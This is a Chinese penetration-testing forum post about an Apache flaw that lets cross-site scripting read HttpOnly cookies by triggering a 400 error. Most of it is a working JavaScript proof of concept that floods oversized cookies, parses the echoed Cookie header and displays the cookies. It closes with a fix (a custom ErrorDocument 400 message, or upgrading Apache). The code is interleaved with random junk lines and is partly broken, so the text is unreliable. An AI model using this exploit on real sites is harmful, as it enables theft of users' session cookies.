中国网络渗透测试联盟
标题:
Apache HttpOnly Cookie XSS跨站漏洞
[打印本页]
作者:
admin
时间:
2013-4-19 19:15
标题:
Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
; ]* M$ `% i a( s0 f& O
4 o# d9 H. m0 N" j2 Y
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
3 a, j _/ k* d9 K3 r1 `) N I' F7 U0 O
! Q' J0 l T/ H) k$ R
6 G# J0 N3 n5 Y" G7 D: z
//
http://www.exploit-db.com/exploits/18442/
% }; u) x) B5 R+ s2 e7 c8 M( l/ R, A* B6 o
function setCookies (good) {
4 V) K# P# R' h! ~+ ~9 t
// Construct string for cookie value
- B m8 R# L7 v S
var str = "";
$ [$ `1 ~3 U( `! Y v
for (var i=0; i< 819; i++) {
1 V6 E) R* f) @5 ?6 T0 a y
str += "x";
5 M2 v. z% V7 l; `
}
+ h- w9 i! _) C \& W/ _: I9 B
// Set cookies
+ j5 r4 X1 t! M1 Q" W8 }! J! P
for (i = 0; i < 10; i++) {
! j% G. I/ ~3 N+ P! T
// Expire evil cookie
$ Z! c9 y- ]# p; R% S/ X: O
if (good) {
+ D; L0 r8 }& o6 ]% o; b* J
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
! X6 A( d4 p2 `$ J7 @7 ~1 e7 o4 d
}
3 o" [' [* P6 R( d1 I
// Set evil cookie
! s ?0 l$ |: \% L, _, P
else {
. \' t+ M2 U9 y/ ^
var cookie = "xss"+i+"="+str+";path=/";
+ d2 y* Y2 h) t( a# y; p
}
: O1 K- V, U8 f& a5 }$ `. U4 q0 x6 i9 }
document.cookie = cookie;
7 h) t* u; O8 z) L9 p9 H
}
) G# w4 }1 m2 \) T& k7 q1 V! a
}
% P' ]* i, d7 Q% B1 o. ?
function makeRequest() {
- E( |, B% ^1 s9 b! M# @. ^
setCookies();
# }2 P7 r; M. S$ T% t
function parseCookies () {
6 x# [7 ^+ H6 S8 J" [
var cookie_dict = {};
# G- Z+ k- H8 H0 ?
// Only react on 400 status
% R% I$ q+ [! B& w" ~$ b
if (xhr.readyState === 4 && xhr.status === 400) {
: Q+ B7 f* [6 i9 R8 N* Y5 q
// Replace newlines and match <pre> content
+ S" x9 Z' ] |
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
# K( k. n0 `. s; Z. d
if (content.length) {
$ i. ], b6 P) C* x
// Remove Cookie: prefix
1 Q7 n4 a7 h5 l. D8 Z" o ^5 q
content = content[1].replace("Cookie: ", "");
; W+ S- b4 L L- m
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
( g- ^0 H/ W) M0 T& P
// Add cookies to object
6 s$ E$ E. h5 W3 U/ G* O* b5 r9 Y
for (var i=0; i<cookies.length; i++) {
6 i# y/ ~ _& b3 E7 B6 X
var s_c = cookies
.split('=',2);
- N0 t2 e! @: M$ X: J. m' c
cookie_dict[s_c[0]] = s_c[1];
# Y! G @- J; `% B- h. W
}
s P' G d1 f) H& Z3 }
}
. u. q. L& g* Q Z
// Unset malicious cookies
" g3 T: T/ M- j3 \
setCookies(true);
5 y9 ^9 q+ a# K! s0 p5 o% e4 S
alert(JSON.stringify(cookie_dict));
/ G2 ?# J1 O4 X9 ]: _
}
7 q; Z) C) y- _# |7 x
}
2 Z* n" D( l4 P5 E
// Make XHR request
4 w# V' c4 Z4 {- }1 l
var xhr = new XMLHttpRequest();
n- C+ L7 T1 j: q( ]0 a$ v
xhr.onreadystatechange = parseCookies;
8 f2 k3 S4 o$ u. `9 \6 O7 W
xhr.open("GET", "/", true);
% K; F3 d* T' ?, {) N" f( c; d
xhr.send(null);
9 y; }/ v( R& C+ w
}
' J' H& V& ?9 z/ S, U
makeRequest();
0 U) u& q5 Q: U/ \7 p G3 O7 G
2 ]. w x; Z p# k6 w
你就能看见华丽丽的400错误包含着cookie信息。
& F* C9 k! i: f8 C- }- Q
+ y/ u+ M# e# Y" s
下载地址:
https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
/ X" i- ^1 j% C6 @
% j I, y A* T) {; T& B: o3 M
修复方案:
& L5 U0 G8 |0 e) S0 s
' ]7 q" }2 n) l
Apache官方提供4种错误处理方式(
http://httpd.apache.org/docs/2.0/mod/core.html#errordocument
),如下
" K: |- L% l( O$ i; z$ L* r3 C& V
( C1 _5 `, U2 v! j7 `
In the event of a problem or error, Apachecan be configured to do one of four things,
$ }# P% r. @* k
& F' D7 f; H4 C, ~" ]
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
) d& k7 u1 T6 j
2. output acustomized message输出一段信息
# a& ?/ [! V4 J3 n
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
n7 O7 O3 f; [# c% j+ V& y+ J1 v
4. redirect to an external URL to handle theproblem/error转向一个外部URL
" C. u q1 U7 M
* l Y" n& I b" b/ r5 {
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
. P9 e* G: ?8 T/ I ?2 t4 H" N
5 U/ u: L9 h3 ?, H( \9 H: z
Apache配置:
6 T4 o! D, L3 I) H- x- b5 }3 C
3 d Y1 U) l: j* `
ErrorDocument400 " security test"
3 ~4 E6 c/ }1 n4 N& h' C% F
; U/ ~/ s- Z1 N4 G) p3 v
当然,升级apache到最新也可:)。
/ B5 M. r8 t- H \* H5 x X
5 r' m& e: |+ Z9 a7 r
参考:
http://httpd.apache.org/security/vulnerabilities_22.html
; B: h9 L0 V' ]* `
# }! x: D0 s5 b* ?* k5 w
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2